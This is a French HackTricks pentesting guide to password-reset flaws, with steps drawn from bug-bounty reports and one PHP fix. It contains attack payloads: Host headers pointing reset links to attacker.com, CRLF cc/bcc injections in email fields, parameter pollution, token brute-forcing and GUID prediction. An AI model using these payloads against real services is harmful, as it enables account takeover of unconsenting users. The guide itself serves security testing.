hacktricks/pentesting-web/reset-password.md

324 lines
14 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
# Contournement de réinitialisation/mot de passe oublié
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
**Aperçus de Piratage**\
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
2022-10-27 23:22:18 +00:00
**Nouvelles de Piratage en Temps Réel**\
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
2023-02-27 09:28:45 +00:00
**Dernières Annonces**\
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
2023-02-27 09:28:45 +00:00
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
2023-02-27 09:28:45 +00:00
La compilation des techniques suivantes a été prise de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
## Fuite de Token de Réinitialisation de Mot de Passe Via Référent
Le **HTTP referer** est un champ d'en-tête HTTP optionnel qui identifie l'adresse de la page web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
2021-04-07 13:16:44 +00:00
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
2022-10-26 09:16:32 +00:00
### Exploitation
2023-06-03 13:10:46 +00:00
* Demandez la réinitialisation du mot de passe à votre adresse e-mail
* Cliquez sur le lien de réinitialisation du mot de passe
* Ne changez pas le mot de passe
* Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
* Interceptez la requête dans le proxy Burpsuite
* Vérifiez si l'en-tête referer fuite le token de réinitialisation du mot de passe.
2022-10-26 09:16:32 +00:00
### Impact
2020-10-07 09:34:02 +00:00
Cela permet à la personne qui a le contrôle d'un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le token de réinitialisation du mot de passe de l'utilisateur.
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence :
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
## Empoisonnement de Réinitialisation de Mot de Passe
2021-04-07 10:04:56 +00:00
Si vous trouvez une attaque de l'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation du mot de passe !
2021-04-07 10:04:56 +00:00
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
* Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
2023-06-03 13:10:46 +00:00
* Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: attacker.com
```
2022-10-26 09:16:32 +00:00
```
Host: target.com
X-Forwarded-Host: attacker.com
2021-04-07 10:04:56 +00:00
```
2022-10-26 09:16:32 +00:00
```
Host: target.com
Host: attacker.com
2021-04-07 10:04:56 +00:00
```
* Vérifiez si le lien pour changer le mot de passe dans l'email pointe vers attacker.com
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Correctif
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Utilisez `$_SERVER['SERVER_NAME']` plutôt que `$_SERVER['HTTP_HOST']`
2021-04-07 10:04:56 +00:00
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
2022-10-26 09:16:32 +00:00
### Impact
2021-04-07 10:04:56 +00:00
La victime recevra le lien malveillant dans son email et, en cliquant dessus, divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, menant à la prise de contrôle complète du compte.
2021-04-07 10:04:56 +00:00
### Référence :
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
## Réinitialisation du mot de passe en manipulant le paramètre Email
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
* Ajouter l'email de l'attaquant comme second paramètre en utilisant &
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant %20
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant |
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant cc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
* Ajouter l'email de l'attaquant comme second paramètre en utilisant bcc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
* Ajoutez l'email de l'attaquant comme second paramètre en utilisant ,
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
* Ajouter l'email de l'attaquant comme second paramètre dans le tableau json
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
## Changement de l'Email et du Mot de passe de n'importe quel Utilisateur via les Paramètres de l'API
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
* L'attaquant doit se connecter avec son compte et aller à la fonction de changement de mot de passe
2023-06-03 13:10:46 +00:00
* Démarrer Burp Suite et intercepter la requête
* Après avoir intercepté la requête, l'envoyer au répéteur et modifier les paramètres Email et Mot de passe
2021-04-07 10:04:56 +00:00
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
### Pas de limitation de taux : Bombardement d'emails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
### Exploitation
2021-04-07 10:04:56 +00:00
* Lancez Burp Suite et interceptez la demande de réinitialisation de mot de passe
* Envoyez à l'intrus
2023-06-03 13:10:46 +00:00
* Utilisez une charge utile nulle
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
2023-06-03 13:10:46 +00:00
## Découvrez comment le jeton de réinitialisation de mot de passe est généré
2021-04-07 10:04:56 +00:00
Découvrez le modèle du jeton de réinitialisation de mot de passe
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
2021-04-07 10:04:56 +00:00
Si c'est
2021-04-07 10:04:56 +00:00
* Généré sur la base du Timestamp
* Généré sur la base de l'UserID
* Généré sur la base de l'email de l'utilisateur
* Généré sur la base du Prénom et du Nom
* Généré sur la base de la Date de Naissance
* Généré sur la base de la Cryptographie
2021-04-07 10:04:56 +00:00
2023-06-03 13:10:46 +00:00
Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
## GUID devinable
2022-10-26 09:16:32 +00:00
2023-06-03 13:10:46 +00:00
Il existe différents types de GUID :
2022-10-26 09:16:32 +00:00
* **Version 0 :** Seulement vu dans le GUID nul ("00000000-0000-0000-0000-000000000000").
* **Version 1 :** Le GUID est généré de manière prévisible sur la base de :
* L'heure actuelle
* Une "séquence d'horloge" générée aléatoirement qui reste constante entre les GUID pendant le temps de fonctionnement du système générant
* Un "ID de nœud", qui est généré sur la base de l'adresse MAC du système s'il est disponible
* **Version 3 :** Le GUID est généré en utilisant un hachage MD5 d'un nom et d'un espace de noms fournis.
* **Version 4 :** Le GUID est généré aléatoirement.
* **Version 5 :** Le GUID est généré en utilisant un hachage SHA1 d'un nom et d'un espace de noms fournis.
2022-10-26 09:16:32 +00:00
Il est possible de regarder un GUID et de découvrir sa version, il existe un petit outil pour cela : [**guidtool**](https://github.com/intruder-io/guidtool)****
2022-10-26 09:16:32 +00:00
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de forcer brutalement les GUID :
2022-10-26 09:16:32 +00:00
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
2023-06-03 13:10:46 +00:00
### Références
2022-10-26 09:16:32 +00:00
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
## Manipulation de réponse : Remplacer une mauvaise réponse par une bonne
2021-04-07 10:04:56 +00:00
Cherchez des requêtes et des réponses comme celles-ci
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
Changer la réponse
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
2021-04-07 10:04:56 +00:00
### Utilisation d'un jeton expiré <a href="#8-using-expired-token" id="8-using-expired-token"></a>
2021-04-07 10:04:56 +00:00
* Vérifiez si le jeton expiré peut être réutilisé
2021-04-07 10:04:56 +00:00
### Forcer le jeton de réinitialisation du mot de passe <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
2021-04-07 10:04:56 +00:00
Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2023-06-03 13:10:46 +00:00
### Essayez d'utiliser votre jeton <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
2021-04-07 10:04:56 +00:00
* Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
2023-06-03 13:10:46 +00:00
### Référence
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2021-03-22 09:20:53 +00:00
## Invalid**ation de session** lors de la Déconnexion/Réinitialisation de mot de passe
Lorsqu'un utilisateur se **déconnecte ou réinitialise son mot de passe**, la session actuelle doit être invalidée.\
Ainsi, **capturez les cookies** pendant que l'utilisateur est connecté, **déconnectez-vous**, et **vérifiez** si les **cookies** sont toujours **valides**.\
Répétez le processus en **changeant le mot de passe** au lieu de vous déconnecter.
## Temps d'expiration du Token de réinitialisation
Les **tokens de réinitialisation doivent avoir un temps d'expiration**, après cela le token ne devrait plus être valide pour changer le mot de passe d'un utilisateur.
2023-06-03 13:10:46 +00:00
## Vérifications supplémentaires
* Utilisez username@burp\_collab.net et analysez le callback
* Email en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
* Mot de passe long (>200) entraîne un DoS
* Ajoutez un second paramètre email et sa valeur
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
2022-10-27 23:22:18 +00:00
**Aperçus de Hacking**\
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking
2022-10-27 23:22:18 +00:00
**Nouvelles de Hacking en Temps Réel**\
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel
2023-02-27 09:28:45 +00:00
**Dernières Annonces**\
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme
2023-02-27 09:28:45 +00:00
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>